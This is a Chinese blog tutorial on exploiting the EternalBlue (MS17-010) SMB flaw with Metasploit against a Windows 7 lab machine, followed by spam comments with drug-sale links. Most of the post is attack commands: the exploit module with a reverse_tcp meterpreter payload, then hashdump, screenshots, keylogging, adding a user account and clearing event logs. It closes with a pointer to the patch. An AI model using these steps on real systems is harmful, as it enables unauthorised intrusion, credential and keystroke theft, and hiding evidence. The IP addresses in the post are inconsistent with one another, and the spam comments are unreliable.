入侵445端口-永恒之蓝漏洞利用-Metasploit

永恒之蓝

 

WannaCry勒索软件中,利用了NSA泄露工具中的“永恒之蓝”漏洞

445端口就是永恒之蓝的入口

我们利用kali里面的Metapsloit工具进行渗透测试(不知道Metasploit百度一下)

测试环境如下

kali的IP:192.168.113.166

win7靶机IP:192.168.84.130

利用模块:ms17_010_eternalblue

 

1.kali打开Metasploit

1.在终端输入(输入几个字母按Tab键可以自动补全)

msfconsole

2019-11-04 08-18-41 的屏幕截图.png

2.打开模块(输入几个字母按Tab键可以自动补全)

use exploit/windows/smb/ms17_010_eternalblue

2019-11-04 08-20-00 的屏幕截图.png

3.设置输入win7靶机IP地址

set RHOSTS 192.168.9.51

2019-11-04 08-22-50 的屏幕截图.png

4.设置攻击负载模块

set payload windows/x64/meterpreter/reverse_tcp

2019-11-04 08-23-46 的屏幕截图.png

5.设置kali的IP

set LHOST 192.168.119.98

2019-11-04 08-25-07 的屏幕截图.png

6.设置监听端口

set LPORT 5555

2019-11-04 08-25-30 的屏幕截图.png

 

7.开始执行模块

exploit

2019-11-04 08-25-54 的屏幕截图.png

8.成功入侵win7靶机

2019-11-04 08-26-46 的屏幕截图.png

(1)我们可以查看他的账户密码的加密值

hashdump

2019-11-04 08-27-05 的屏幕截图.png

 

(2)我们也可以查看他目前屏幕在做什么

screenhot

2019-11-04 08-27-39 的屏幕截图.png

(3)也可以记录他的键盘

keyscan_start 

下载键盘记录

keyscan_dump 

或者上传个木马之类的,总之有很多功能来利用,具体的可以百度查查

(4)获取该计算机已经登陆的账户密码

Kerberos

(5)开启3389端口

 

(6)获取该计算机的超级管理员权限

shell

2019-11-04 08-28-50 的屏幕截图.png

然后可以执行cmd命令

添加一个帐号

net user test 123456 /add

2019-11-04 08-30-17 的屏幕截图.png

升级为管理员帐号

2019-11-04 08-33-49 的屏幕截图.png

也可以执行一些你想要的命令

exit  //退出shell
clearev    //清楚操作日志

2019-11-04 08-35-23 的屏幕截图.png

 

 

445端口永恒之蓝,是个非常危险的漏洞,如果你计算机上也有这个漏洞,不想被看光隐私的话不妨打个补丁

http://www.catalog.update.microsoft.com/search.aspx?q=kb4012212

 

--小顾

本博客所有文章如无特别注明均为原创。作者:GS小顾复制或转载请以超链接形式注明转自 世纪博客
原文地址《入侵445端口-永恒之蓝漏洞利用-Metasploit
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(17325)

I've just graduated <a href="http://www.bebocraft-brewery.it/moxifloxacino-pq3g">moxifloxacino</a>  Tingyi, which has a market value of $14.8 billion, accountsfor 44.1 percent of sales volume in China's noodle market, whilenoodle revenues comprised 36.75 percent of its total revenue inthe first half, compared with 30.9 percent for Uni-President.
Barrett 2个月前(08-30) 回复
The line's engaged <a href="http://www.usmilitaryfsbo.com/index.php/caravan-sales-victoria-bendigo-usf2">used static caravans for sale ni</a>  @ertdfg, If I understand your sarcasm, which is unnecessary by the way, please understand that I&#8217;m not a fan of The Patriot Act. You are aware that Congress, under GW Bush, passed it into law giving the government a pretty-much free pass to do exactly the kind of unconstitutional search and seizure under the name of &#8220;National Security&#8221; and terrorism, right? All they have to do is word their reasoning right, and they can do what they want against the press, you, me, anyone they deem &#8220;a threat&#8221;.
Darin 2个月前(08-30) 回复
I have my own business <a href="https://www.saffrongrill.mu/lexapro-and-wellbutrin-combo-reviews-er1s">wellbutrin xl 150 mg yan etkileri nelerdir</a>  "But U.S. officials saying they are considering leaving no troops behind after 2014 is just propaganda to put pressure on Afghan government so Washington can get an outcome it wants in a bilateral security pact," Stanikzai said.
Leah 2个月前(08-30) 回复
I'm doing an internship <a href="http://newcastlecomics.com/blog/online-pharmacy-ship-to-japan-ef8e.pdf">costco wholesale pharmacy canada</a>  Within few days of the incident in 2011 atmospheric radiation on the U.S. west coast was detected. However, in the ocean radioactive particles take longer time to travel the same distance. To find out how long it will take to travel, researchers performed few calculations.
Kirby 2个月前(08-30) 回复
Punk not dead  <a href="https://www.kirnberger.com/motrin-dosage-for-adults-uuf6">infant motrin before 6 months</a>  The blue-chip FTSE 100 index closed 14.06 points, or0.1 percent, higher at 6,565.59 points after falling to a low of6,535.78 earlier in the session. The index is up more than 11percent so far this year.
Marcel 2个月前(08-30) 回复
One moment, please <a href="https://sirgentlemandriver.com/propecia-100-1-mg-tz0d">buy propecia online prescription</a>  He said the strike decision did not show teachers as "harbingers of greater prestige for the teaching profession, but as defensive, left-wing, ideologically committed to keeping teachers imprisoned in a model of labour relations that was already out of date in the 1970s".
Razer22 2个月前(08-30) 回复
Where are you from? <a href="http://twinforms.com/products/index.php/half-inderal-80-mg-anxiety-ae77.pdf">propranolol er price</a>  But in one of the filings, the SEC said it was "unable toreach a settlement" with the Bents. The SEC also asked U.S.District Judge Paul Gardephe not to approve the relatedclass-action accord because resolution of its claims mightaffect the distributions available for investors.
Armando 2个月前(08-30) 回复
I'd like some euros <a href="https://sirgentlemandriver.com/panadol-hot-hinta-io94">panadol 1g hinta</a>  More than one-third of Americans are obese, and about 10 percent of the nation's healthcare bill is tied to obesity-related illnesses, such as Type 2 diabetes, heart disease and hypertension, according to the Organization for Economic Co-operation and Development.
Darius 2个月前(08-30) 回复
A staff restaurant <a href="https://fondilac.com/printable-voltaren-gel-coupons-canada-fj9k">voltaren gel price canada</a>  Under the deal, Kotick and Kelly led an investor group, ASACII LLP, which separately purchased about 172 million Activisionshares from Vivendi for $2.34 billion. That group includesbig-name backers like Fidelity Investments and Chinese webportal Tencent, who do not have any voting rights.
Ethan 2个月前(08-30) 回复
Could you ask him to call me? <a href="https://explosivefunctionalfitness.com/metformin-online-purchase-uk-359b.pdf">can i buy metformin over the counter uk</a>  A number of pictures have been released, which show that the new C-Class's cabin has a similar look to that of the latest A-Class and closely related CLA, with circular air vents and an iPad-like information screen (with a 7in or 8.4in diagonal measurement, depending on spec) at the top of the centre console.
Emile 2个月前(08-30) 回复
1 2 3 4 5 6 7 ... »